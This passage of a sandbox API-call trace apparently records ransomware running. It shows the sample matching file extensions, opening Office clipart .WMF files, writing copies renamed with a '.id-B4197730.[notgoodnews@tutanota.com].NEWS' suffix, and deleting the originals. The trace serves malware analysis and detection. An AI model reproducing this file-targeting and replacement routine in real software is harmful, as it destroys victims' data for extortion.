Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString=".doc") returned 4 [0089.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString=".docx") returned 5 [0089.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.537] lstrlenW (lpString=".pdf") returned 4 [0089.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString=".xls") returned 4 [0089.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.537] lstrlenW (lpString=".xlsx") returned 5 [0089.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.537] lstrlenW (lpString=".ppt") returned 4 [0089.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString=".zip") returned 4 [0089.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.537] lstrlenW (lpString=".rar") returned 4 [0089.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString=".bz2") returned 4 [0089.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString=".7z") returned 3 [0089.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString=".dbf") returned 4 [0089.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.538] lstrlenW (lpString=".1cd") returned 4 [0089.538] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.538] lstrlenW (lpString=".jpg") returned 4 [0089.538] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.538] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.538] lstrlenW (lpString="HM00005_.WMF") returned 12 [0089.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.538] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=23300) returned 1 [0089.538] CloseHandle (hObject=0x378) returned 1 [0089.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0089.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.538] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.539] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.539] GetLastError () returned 0x0 [0089.539] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5b04, lpOverlapped=0x0) returned 1 [0089.541] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5b10, lpOverlapped=0x0) returned 1 [0089.542] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.542] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.542] SetEndOfFile (hFile=0x330) returned 1 [0089.542] CloseHandle (hObject=0x330) returned 1 [0089.542] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.542] SetEndOfFile (hFile=0x378) returned 1 [0089.543] CloseHandle (hObject=0x378) returned 1 [0089.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0089.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.544] lstrlenW (lpString=".doc") returned 4 [0089.544] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.544] lstrlenW (lpString=".docx") returned 5 [0089.544] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.544] lstrlenW (lpString=".pdf") returned 4 [0089.544] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.544] lstrlenW (lpString=".xls") returned 4 [0089.544] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.544] lstrlenW (lpString=".xlsx") returned 5 [0089.544] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.544] lstrlenW (lpString=".ppt") returned 4 [0089.544] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.544] lstrlenW (lpString=".zip") returned 4 [0089.544] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.544] lstrlenW (lpString=".rar") returned 4 [0089.544] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.544] lstrlenW (lpString=".bz2") returned 4 [0089.544] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.544] lstrlenW (lpString=".7z") returned 3 [0089.544] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.544] lstrlenW (lpString=".dbf") returned 4 [0089.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.544] lstrlenW (lpString=".1cd") returned 4 [0089.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString=".jpg") returned 4 [0089.545] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString=".doc") returned 4 [0089.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString=".docx") returned 5 [0089.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.545] lstrlenW (lpString=".pdf") returned 4 [0089.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString=".xls") returned 4 [0089.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.545] lstrlenW (lpString=".xlsx") returned 5 [0089.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.545] lstrlenW (lpString=".ppt") returned 4 [0089.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString=".zip") returned 4 [0089.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.545] lstrlenW (lpString=".rar") returned 4 [0089.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString=".bz2") returned 4 [0089.545] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString=".7z") returned 3 [0089.545] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString=".dbf") returned 4 [0089.545] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString=".1cd") returned 4 [0089.545] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 68 [0089.545] lstrlenW (lpString=".jpg") returned 4 [0089.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.546] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.546] lstrlenW (lpString="HM00114_.WMF") returned 12 [0089.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.546] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=22116) returned 1 [0089.546] CloseHandle (hObject=0x378) returned 1 [0089.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0089.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.547] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.547] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.547] GetLastError () returned 0x0 [0089.547] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x5664, lpOverlapped=0x0) returned 1 [0089.549] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x5670, lpOverlapped=0x0) returned 1 [0089.550] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.550] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.550] SetEndOfFile (hFile=0x330) returned 1 [0089.550] CloseHandle (hObject=0x330) returned 1 [0089.550] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.550] SetEndOfFile (hFile=0x378) returned 1 [0089.551] CloseHandle (hObject=0x378) returned 1 [0089.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.552] lstrlenW (lpString=".doc") returned 4 [0089.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.552] lstrlenW (lpString=".docx") returned 5 [0089.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.552] lstrlenW (lpString=".pdf") returned 4 [0089.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.552] lstrlenW (lpString=".xls") returned 4 [0089.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.552] lstrlenW (lpString=".xlsx") returned 5 [0089.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.552] lstrlenW (lpString=".ppt") returned 4 [0089.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.552] lstrlenW (lpString=".zip") returned 4 [0089.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.552] lstrlenW (lpString=".rar") returned 4 [0089.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.552] lstrlenW (lpString=".bz2") returned 4 [0089.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString=".7z") returned 3 [0089.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.553] lstrlenW (lpString=".dbf") returned 4 [0089.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.553] lstrlenW (lpString=".1cd") returned 4 [0089.553] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.553] lstrlenW (lpString=".jpg") returned 4 [0089.553] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.553] lstrlenW (lpString=".doc") returned 4 [0089.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString=".docx") returned 5 [0089.553] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.553] lstrlenW (lpString=".pdf") returned 4 [0089.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString=".xls") returned 4 [0089.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.553] lstrlenW (lpString=".xlsx") returned 5 [0089.553] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.553] lstrlenW (lpString=".ppt") returned 4 [0089.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.553] lstrlenW (lpString=".zip") returned 4 [0089.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.553] lstrlenW (lpString=".rar") returned 4 [0089.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString=".bz2") returned 4 [0089.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.553] lstrlenW (lpString=".7z") returned 3 [0089.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.554] lstrlenW (lpString=".dbf") returned 4 [0089.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.554] lstrlenW (lpString=".1cd") returned 4 [0089.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0089.554] lstrlenW (lpString=".jpg") returned 4 [0089.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.554] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.554] lstrlenW (lpString="HM00116_.WMF") returned 12 [0089.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.554] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=15852) returned 1 [0089.554] CloseHandle (hObject=0x378) returned 1 [0089.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0089.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.555] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.555] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.555] GetLastError () returned 0x0 [0089.555] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0089.878] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0089.880] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.880] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.880] SetEndOfFile (hFile=0x330) returned 1 [0089.880] CloseHandle (hObject=0x330) returned 1 [0089.881] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.881] SetEndOfFile (hFile=0x378) returned 1 [0089.882] CloseHandle (hObject=0x378) returned 1 [0089.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0089.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.883] lstrlenW (lpString=".doc") returned 4 [0089.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString=".docx") returned 5 [0089.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.883] lstrlenW (lpString=".pdf") returned 4 [0089.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString=".xls") returned 4 [0089.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.883] lstrlenW (lpString=".xlsx") returned 5 [0089.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.883] lstrlenW (lpString=".ppt") returned 4 [0089.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.883] lstrlenW (lpString=".zip") returned 4 [0089.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.883] lstrlenW (lpString=".rar") returned 4 [0089.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString=".bz2") returned 4 [0089.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString=".7z") returned 3 [0089.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.883] lstrlenW (lpString=".dbf") returned 4 [0089.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.883] lstrlenW (lpString=".1cd") returned 4 [0089.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.883] lstrlenW (lpString=".jpg") returned 4 [0089.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0089.884] lstrlenW (lpString=".doc") returned 4 [0089.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.884] lstrlenW (lpString=".docx") returned 5 [0089.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.884] lstrlenW (lpString=".pdf") returned 4 [0089.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 